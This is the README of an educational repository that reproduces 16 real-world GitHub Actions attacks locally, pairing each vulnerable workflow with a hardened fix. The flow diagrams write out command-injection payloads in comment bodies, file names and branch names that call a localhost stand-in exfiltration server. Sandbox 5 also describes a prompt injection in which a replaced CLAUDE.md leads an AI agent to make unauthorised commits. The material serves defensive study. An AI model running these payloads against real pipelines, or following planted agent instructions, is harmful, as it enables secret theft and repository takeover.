Skip to content

ramibahloul2003/github-actions-sandboxes

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

57 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🔐 GitHub Actions Attack Sandboxes

Docker act Go Python Nix

Reproduction of real-world GitHub Actions attack vectors using act and Docker on a local machine.

This repository contains 16 sandboxes, each demonstrating a real attack used in the wild. Every sandbox has:

  • A vulnerable version ❌ where the attack succeeds
  • A fixed version ✅ where the hardened workflow blocks the attack

All attacks run entirely locally using act and Docker. No real secrets are used.


🌍 Real-World Context

All attacks are based on documented real-world incidents:

Incident Period Impact
hackerbot-claw campaign Feb 21 - Mar 2, 2026 5/7 repos compromised
xygeni-action compromise Mar 3, 2026 137+ repos affected
CVE-2025-30066 - tj-actions Mar 14-15, 2025 23,000+ repos affected
GhostAction campaign 2025 817 repos, 3,325 secrets stolen
Nx Supply Chain Attack 2025 NPM ecosystem compromised
Glassworm - Unicode injection 2026 Hidden payload bypasses code review

⚔️ Attack Vectors

# Sandbox Attack Type Real Target Vulnerable Result Fix Applied Fixed Result
1 sandbox-1-pwn-request Pwn Request + Go init() avelino/awesome-go ❌ GITHUB_TOKEN exfiltrated pull_request + contents: read ✅ Blocked
2 sandbox-2-bash-injection Direct Bash script injection project-akri/akri ❌ RCE confirmed author_association check ✅ Job skipped
3 sandbox-3-branch-injection Branch name injection microsoft/ai-discovery-agent ❌ RCE via ${{ }} Store in env variable ✅ Blocked
4 sandbox-4-filename-injection Filename injection DataDog/datadog-iac-scanner ❌ RCE via filename while IFS= read -r loop ✅ Blocked
5 sandbox-5-prompt-injection AI Prompt injection ambient-code/platform ❌ AI agent manipulated pull_request + main branch only ✅ Blocked
6 sandbox-6-pat-theft PAT theft aquasecurity/trivy ❌ Full repo compromise pull_request + no PAT exposure ✅ Blocked
7 sandbox-7-base64-branch Base64 branch injection RustPython/RustPython ❌ Partial execution Store branch ref in env ✅ Blocked
8 sandbox-8-tag-poisoning Tag poisoning + C2 shell xygeni/xygeni-action ❌ 137+ repos compromised Pin to commit SHA ✅ Blocked
9 sandbox-9-tj-actions-memory-dump Memory dump via compromised action tj-actions/changed-files ❌ Secrets leaked in public logs SHA pin OR native git commands ✅ Blocked
10 sandbox-10-ghostaction-workflow-injection Malicious workflow injection 817 repos ❌ 3,325 secrets stolen CODEOWNERS + branch protection ✅ Blocked
11 sandbox-11-workflow-run-artifact-poisoning workflow_run artifact poisoning Google, Microsoft, AWS ❌ RCE via privileged trigger Verify workflow origin ✅ Blocked
12 sandbox-12-cache-poisoning Predictable cache key poisoning Any project with static cache keys ❌ RCE via poisoned cache Unpredictable cache key (hashFiles) ✅ Blocked
13 sandbox-13-npm-token-theft NPM token theft → malicious publish Nx Supply Chain Attack ❌ NPM token stolen NPM_TOKEN only on push to main ✅ Blocked
14 sandbox-14-unicode-injection Unicode invisible injection Glassworm 2026 ❌ Hidden payload bypasses review Unicode scanner before execution ✅ Blocked
15 sandbox-15-permission-misuse Overprivileged job (write-all) Any project with write-all ❌ Full write access abused Minimum permissions per job ✅ Blocked
16 sandbox-16-oidc-token-abuse OIDC token theft → cloud access Any project using OIDC deploy ❌ AWS access without static keys id-token:write only on push to main ✅ Blocked

🔄 Attack Flow Diagrams

Sandbox 1 - Pwn Request

Attacker opens PR with malicious Go init()
         ↓
pull_request_target trigger fires (has secrets)
         ↓
go run executes init() automatically before main()
         ↓
❌ GITHUB_TOKEN exfiltrated

FIX: pull_request trigger + no fork checkout → ✅ Blocked

Sandbox 2 - Bash Injection

Attacker comments "/version" on PR (no author check)
         ↓
bash version.sh executes poisoned script
         ↓
❌ RCE confirmed

FIX: author_association == MEMBER/OWNER → ✅ Job skipped

Sandbox 3 - Branch Name Injection

Attacker posts: /format dev$(curl http://localhost:8888/exfil)
         ↓
echo "${{ github.event.comment.body }}" → bash evaluates $()
         ↓
❌ Command injection via comment body

FIX: store ${{ }} in env variable first → ✅ Blocked

Sandbox 4 - Filename Injection

Attacker creates: docs/$(wget http://localhost:8888/exfil).md
         ↓
for file in ${{ steps.get_files.outputs.files }} → bash evaluates $()
         ↓
❌ Command injection via filename

FIX: while IFS= read -r file → ✅ Blocked

Sandbox 5 - AI Prompt Injection

Attacker replaces CLAUDE.md with malicious instructions
         ↓
pull_request_target loads attacker's CLAUDE.md
         ↓
❌ AI agent manipulated → unauthorized commits

FIX: pull_request + checkout main branch only → ✅ Blocked

Sandbox 6 - PAT Theft

Attacker opens PR with poisoned api-diff.sh
         ↓
pull_request_target fires (has PAT)
         ↓
❌ PAT stolen → full repo compromise

FIX: pull_request + no PAT exposure → ✅ Blocked

Sandbox 7 - Base64 Branch Injection

Attacker creates branch: main$(wget http://localhost:8888/exfil)
         ↓
git push origin HEAD:${{ github.event.pull_request.head.ref }}
         ↓
❌ Command injection via branch name

FIX: store branch ref in env variable → ✅ Blocked

Sandbox 8 - Tag Poisoning + C2

Attacker moves v5 tag to backdoored commit
         ↓
137+ repos silently run C2 implant
         ↓
❌ Full remote code execution

FIX: pin to immutable commit SHA → ✅ Blocked

Sandbox 9 - tj-actions Memory Dump

Attacker poisons tj-actions/changed-files@v45
         ↓
23,000+ repos run malicious payload
         ↓
❌ Secrets leaked in PUBLIC workflow logs

FIX A: pin to SHA / FIX B: native git commands → ✅ Blocked

Sandbox 10 - GhostAction Workflow Injection

Compromised maintainer pushes malicious.yml to main
         ↓
Disguised as "Scheduled Maintenance" - runs on every push
         ↓
❌ 3,325 secrets stolen across 817 repos

FIX: CODEOWNERS + branch protection → ✅ Blocked

Sandbox 11 - workflow_run Artifact Poisoning

Fork PR uploads malicious artifact
         ↓
workflow_run fires with main repo secrets
         ↓
Downloads + executes artifact without checking origin
         ↓
❌ RCE via privilege escalation between triggers

FIX: verify head_repository.full_name == github.repository → ✅ Blocked

Sandbox 12 - Cache Poisoning

Fork PR saves malicious cache with predictable key
         ↓
Main branch workflow restores poisoned cache
         ↓
❌ RCE via poisoned cache execution

FIX: hashFiles() makes key unpredictable → ✅ Blocked

Sandbox 13 - NPM Token Theft

Fork PR triggers workflow with NPM_TOKEN exposed
         ↓
Attacker steals token → publishes malicious package
         ↓
❌ Full npm supply chain compromise

FIX: NPM_TOKEN only on push to main → ✅ Blocked

Sandbox 14 - Unicode Invisible Injection

Attacker submits PR with invisible Unicode in helper.py
         ↓
Reviewer sees clean code - approves PR
         ↓
CI/CD executes hidden payload silently
         ↓
❌ Secrets exfiltrated - bypasses code review

FIX: Unicode scanner before execution → ✅ Blocked

Sandbox 15 - Permission Misuse

Job has write-all permissions
         ↓
Compromised action abuses all permissions simultaneously
         ↓
❌ Push malicious code + approve PRs + publish packages

FIX: contents: read + isolated privileged jobs → ✅ Blocked

Sandbox 16 - OIDC Token Abuse

pull_request trigger has id-token: write
         ↓
Fork PR requests OIDC token from GitHub
         ↓
Uses token: aws sts assume-role-with-web-identity
         ↓
❌ Full AWS access - no static keys needed

FIX: id-token:write only on push to main → ✅ Blocked

📊 Results Summary

# Sandbox Vulnerable Result Fixed Result
1 Pwn Request ❌ TOKEN EXFILTRATED ✅ Blocked
2 Bash Injection ❌ TOKEN EXFILTRATED ✅ Job skipped
3 Branch Injection ❌ TOKEN EXFILTRATED ✅ Blocked
4 Filename Injection ❌ TOKEN EXFILTRATED ✅ Blocked
5 AI Prompt Injection ❌ injection=success ✅ Blocked
6 PAT Theft ❌ PAT EXFILTRATED ✅ Blocked
7 Base64 Branch ❌ TOKEN EXFILTRATED ✅ Blocked
8 Tag Poisoning + C2 ❌ host+user+token ✅ Blocked
9 tj-actions Memory Dump ❌ Secrets in public logs ✅ Blocked
10 GhostAction Injection ❌ TOKEN EXFILTRATED ✅ Blocked
11 workflow_run Artifact ❌ TOKEN EXFILTRATED ✅ Blocked
12 Cache Poisoning ❌ TOKEN EXFILTRATED ✅ Blocked
13 NPM Token Theft ❌ NPM TOKEN EXFILTRATED ✅ Blocked
14 Unicode Injection ❌ TOKEN EXFILTRATED ✅ Blocked
15 Permission Misuse ❌ write-all abused ✅ Blocked
16 OIDC Token Abuse ❌ OIDC TOKEN EXFILTRATED ✅ Blocked

All 16 vulnerable versions confirmed working. All 16 fixed versions successfully block the attacks.


🛠️ Prerequisites

# 1. Docker Desktop
# https://www.docker.com/products/docker-desktop/

# 2. act - Local GitHub Actions runner
# https://github.com/nektos/act/releases/latest

# 3. Go (for sandbox 1 only)
# https://go.dev/dl/

# 4. Verify all installations
docker --version
act --version
go version

❄️ Reproducible Environment (Nix) - Recommended

This repository includes a Nix flake that provides a fully reproducible development environment with all required tools pre-installed and version-pinned:

# Enter the reproducible environment
nix develop

# All tools available automatically:
# act, Docker, Python 3, Go, Git

⚙️ Setup

# 1. Clone the repository
git clone https://github.com/ramibahloul2003/github-actions-sandboxes.git
cd github-actions-sandboxes

# 2. Create .secrets file with your GitHub token
echo "GITHUB_TOKEN=your_github_token" > .secrets

# 3. Start local exfiltration server - Terminal 2
python exfil_server.py

# 4. Enter Nix environment - Terminal 1
nix develop

# 5. Run any sandbox
# See each sandbox README.md for specific commands

🔑 Key Lessons

# Vulnerability Fix
1 pull_request_target + fork checkout Use pull_request trigger
2 No author_association check Verify MEMBER/OWNER only
3 ${{ }} directly in shell echo Store in env variable first
4 ${{ }} directly in for loop Use while IFS= read -r
5 AI agent loads fork CLAUDE.md Use pull_request trigger
6 PAT exposed in pull_request_target Use pull_request trigger
7 ${{ }} directly in git push Store branch ref in env variable
8 Mutable action tag @v5 Pin to immutable commit SHA
9 Mutable action tag + memory dump SHA pin OR native git commands
10 No CODEOWNERS on .github/workflows/ CODEOWNERS + branch protection
11 workflow_run executes artifact blindly Verify head_repository origin
12 Predictable cache key Use hashFiles() for unpredictable key
13 NPM_TOKEN exposed on pull_request Only expose on push to main
14 No Unicode scanning before execution Scan for invisible Unicode codepoints
15 write-all permissions Minimum permissions + isolated jobs
16 id-token: write on pull_request Only grant on push to main

📁 Repository Structure

github-actions-sandboxes/
├── README.md                           ← This file
├── .secrets                            ← Never committed (.gitignore)
├── .gitignore
├── exfil_server.py                     ← Local exfiltration server
├── flake.nix                           ← Nix development environment
├── flake.lock                          ← Locked Nix dependencies
│
├── events/                             ← Simulated GitHub event files
│   ├── event.json                      ← Sandbox 1
│   ├── event_issue_comment.json        ← Sandbox 2
│   ├── event_branch_injection.json     ← Sandbox 3
│   ├── event_filename_injection.json   ← Sandbox 4
│   ├── event_prompt_injection.json     ← Sandbox 5
│   ├── event_pat_theft.json            ← Sandbox 6
│   ├── event_base64_branch.json        ← Sandbox 7 vulnerable
│   ├── event_base64_branch_fixed.json  ← Sandbox 7 fixed
│   ├── event_tag_poisoning.json        ← Sandbox 8
│   ├── event_tj_actions.json           ← Sandbox 9
│   ├── event_ghostaction.json          ← Sandbox 10
│   ├── event_workflow_run.json         ← Sandbox 11
│   ├── event_cache_poisoning.json      ← Sandbox 12
│   ├── event_npm_token.json            ← Sandbox 13
│   ├── event_unicode_injection.json    ← Sandbox 14
│   ├── event_permission_misuse.json    ← Sandbox 15
│   └── event_oidc_abuse.json           ← Sandbox 16
│
├── scripts/                            ← Setup and utility scripts
│   ├── create_sandbox4.py  → create_sandbox16.py
│   └── exfil_server.py (at root)
│
├── sandbox-1-pwn-request/
├── sandbox-2-bash-injection/
├── sandbox-3-branch-injection/
├── sandbox-4-filename-injection/
├── sandbox-5-prompt-injection/
├── sandbox-6-pat-theft/
├── sandbox-7-base64-branch/
├── sandbox-8-tag-poisoning/
├── sandbox-9-tj-actions-memory-dump/
├── sandbox-10-ghostaction-workflow-injection/
├── sandbox-11-workflow-run-artifact-poisoning/
├── sandbox-12-cache-poisoning/
├── sandbox-13-npm-token-theft/
├── sandbox-14-unicode-injection/
├── sandbox-15-permission-misuse/
└── sandbox-16-oidc-token-abuse/
    ├── README.md
    ├── vulnerable/
    ├── fixed/
    └── attacker/

⚠️ Safety Notice

All attacks are simulated locally. Real attacker domains are replaced with 'localhost:8888'. These sandboxes are for "educational purposes only". Never run these attacks against real repositories without explicit authorization.


About

Reproduction of real-world GitHub Actions attack vectors for educational purposes

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors